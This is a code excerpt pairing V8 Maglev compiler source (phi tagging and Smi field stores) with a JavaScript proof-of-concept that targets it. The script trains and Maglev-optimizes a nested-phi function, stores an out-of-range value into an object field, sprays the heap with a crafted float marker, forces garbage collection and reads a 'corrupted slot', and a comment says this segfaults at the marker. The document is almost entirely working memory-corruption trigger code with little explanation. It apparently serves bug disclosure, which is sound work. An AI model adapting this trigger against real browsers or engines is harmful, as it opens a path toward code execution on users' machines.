void MaglevPhiRepresentationSelector::EnsurePhiInputsTagged(Phi* phi) {
  // Since we are untagging some Phis, it's possible that one of the inputs of
  // {phi} is an untagged Phi. However, if this function is called, then we've
  // decided that {phi} is going to stay tagged, and thus, all of its inputs
  // should be tagged. We'll thus insert tagging operation on the untagged phi
  // inputs of {phi}.

  const int skip_backedge = phi->is_loop_phi() ? 1 : 0;
  for (int i = 0; i < phi->input_count() - skip_backedge; i++) {
    ValueNode* input = phi->input(i).node();
    if (Phi* phi_input = input->TryCast<Phi>()) {
      phi->change_input(i,
                        EnsurePhiTagged(phi_input, phi->predecessor_at(i),
                                        BasicBlockPosition::End(), nullptr, i));
    } else {
      // Inputs of Phis that aren't Phi should always be tagged (except for the
      // phis untagged by this class, but {phi} isn't one of them).
      DCHECK(input->is_tagged());
    }
  }
}

MaybeReduceResult MaglevGraphBuilder::TryBuildStoreField(
    compiler::PropertyAccessInfo const& access_info, ValueNode* receiver,
    compiler::AccessMode access_mode, compiler::NameRef name) {
  // ...
  if (field_representation.IsSmi()) {
    RETURN_IF_ABORT(GetAccumulatorSmi(UseReprHintRecording::kDoNotRecord));
  }
  // ...
  StoreTaggedMode store_mode = access_info.HasTransitionMap()
                                   ? StoreTaggedMode::kTransitioning
                                   : StoreTaggedMode::kDefault;
  if (field_representation.IsSmi()) {
    RETURN_IF_ABORT(BuildStoreTaggedFieldNoWriteBarrier(
        store_target, value, field_index.offset(), store_mode, name));
  }
  // ...
}

function f(a, b, x) {
  let y = a ? x + 1 : 1;
  let t = y | 0;
  let z = b ? y : 1;
  obj.x = z;
  return obj.x;
}

const MAX_SMI = 1073741823;

function i2f(high32, low32) {
  const buf = new ArrayBuffer(8);
  const dv = new DataView(buf);
  dv.setUint32(0, low32, true);
  dv.setUint32(4, high32, true);
  return dv.getFloat64(0, true);
}

function nestedPhiStore(o, a, b, x) {
  let y;
  if (a) {
    y = x + 1;
  } else {
    y = 1;
  }

  const t = y | 0;

  let z;
  if (b) {
    z = y;
  } else {
    z = 1;
  }

  o.x = z;
  return t;
}

// SEGV at MARKER
const MARKER = i2f(0x2578877f, 0x25788785);

const obj = {x: 1};

for (let i = 0; i < 4; i++) {
  gc();
}

print("marker =", MARKER);
print("young(obj) before warmup =", %InYoungGeneration(obj));

%PrepareFunctionForOptimization(nestedPhiStore);
for (let i = 0; i < 2000; i++) {
  nestedPhiStore(obj, true, true, i & 1023);
  nestedPhiStore(obj, false, true, i & 1023);
  nestedPhiStore(obj, true, false, i & 1023);
}

%OptimizeMaglevOnNextCall(nestedPhiStore);
nestedPhiStore(obj, true, true, 7);
nestedPhiStore(obj, true, true, MAX_SMI);

for (let round = 0; round < 120; round++) {
  const tmp = [];
  for (let i = 0; i < 20000; i++) {
    tmp.push({i, a: MARKER, b: 2.2, c: 3.3});
  }

  if ((round % 10) === 9) {
    print("completed round", round + 1);
  }
}

print("forcing major gc");
gc({ type: "major" });

print("about to read corrupted slot");
print(obj.x + 0.5);